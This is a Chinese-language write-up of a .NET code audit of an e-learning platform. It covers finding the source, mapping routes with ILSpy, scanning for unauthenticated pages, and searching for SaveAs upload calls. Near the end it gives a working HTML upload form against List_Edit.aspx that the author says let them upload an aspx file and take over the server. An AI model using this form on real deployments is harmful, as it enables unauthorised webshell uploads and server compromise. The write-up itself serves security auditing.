记一次项目中如何快速定位.net漏洞点
字数 1101 2025-08-29 08:32:19
.NET漏洞快速定位与审计技巧
1. 源码获取方法
1.1 通过版权信息查找
- 检查网站首页源代码中的关键字
- 搜索特定文件路径如
/templates/web/netschool/corescripts/verify.js - 通过案例站点查找版权信息(如某厦商学院学习平台)
- 确定版权后更容易找到对应源码
2. .NET项目快速审计技巧
2.1 路由结构分析
- 打开aspx文件查看class属性(如
song.site.Manage.Console) - 在bin目录下使用ILSpy打开对应dll文件
- 确定URL与类映射关系(如
song.site.Manage.Console对应/Manage/console.aspx)
2.2 未授权访问检测
-
对比验证与非验证页面代码
- 查找认证相关代码(可能因不熟悉.NET而难以定位)
-
目录扫描方法
- 使用命令导出所有aspx文件结构:
dir /a /s /b *.aspx - 处理路径制作专用字典
- 使用Burp Suite批量测试
- 通过响应大小判断:
- 较大响应:可能存在未授权访问
- 小响应(如197字节):可能有验证或需要参数
- 使用命令导出所有aspx文件结构:
2.3 任意文件上传漏洞挖掘
-
常规方法
- 在目录或ILSpy中搜索"upload"等关键字
- 检查找到的上传点是否有权限验证
-
高级搜索技巧
- 直接搜索上传函数如"SaveAs"
- ILSpy搜索功能有限时,导出全部代码:
findstr /msi /c:"saveas" *.* - 示例搜索结果:
Song.Site.Manage.Admin\Setup_Qrcode.cs Song.Site.Manage.Admin\Setup_Stamp.cs Song.Site.Manage.Panel\Authorization.cs Song.Site.Manage.Template\List_Edit.cs Song.Site.Manage.Utility\ExcelInput.cs Song.Site.Manage.Utility.UploadPath\Uploading.cs Song.Site.Utility\ExamFileUp.cs
-
漏洞利用
- 在
song.site.Manage.Template\List_Edit.cs发现无验证上传代码 - 构造上传表单:
<form id="LoginForm" action="http://x:8084/Manage/Template/List_Edit.aspx" method="post" enctype="multipart/form-data"> <div class="aspNetHidden"> <input type="text" name="org"> <input type="text" name="NSRSBH"> <input type="file" name="org"> <input type="submit" name="btn_Click" id="btn_Click"> </div> </form> - 成功上传aspx文件获取权限
- 在
3. 工具与命令总结
| 工具/命令 | 用途 |
|---|---|
| ILSpy | .NET反编译工具,用于分析dll文件 |
| dir /a /s /b *.aspx | 递归列出所有aspx文件路径 |
| findstr /msi /c:"saveas" . | 在所有文件中搜索"saveas"关键字 |
| Burp Suite | 用于批量测试未授权访问 |
4. 审计流程总结
- 获取源码(通过版权信息或特定文件路径)
- 分析路由结构(aspx class属性与dll映射)
- 检测未授权访问(目录扫描+响应分析)
- 查找上传漏洞(关键字搜索+函数定位)
- 构造利用代码验证漏洞
5. 关键注意事项
- 当不熟悉.NET框架时,可依赖黑盒测试方法(如目录扫描)
- 源码获取是审计成功的关键前提
- 系统化搜索(如函数搜索)比盲目查找更高效
- 响应大小对比是快速筛选未授权页面的有效方法
- 上传功能不一定包含"upload"关键字,直接搜索核心函数更可靠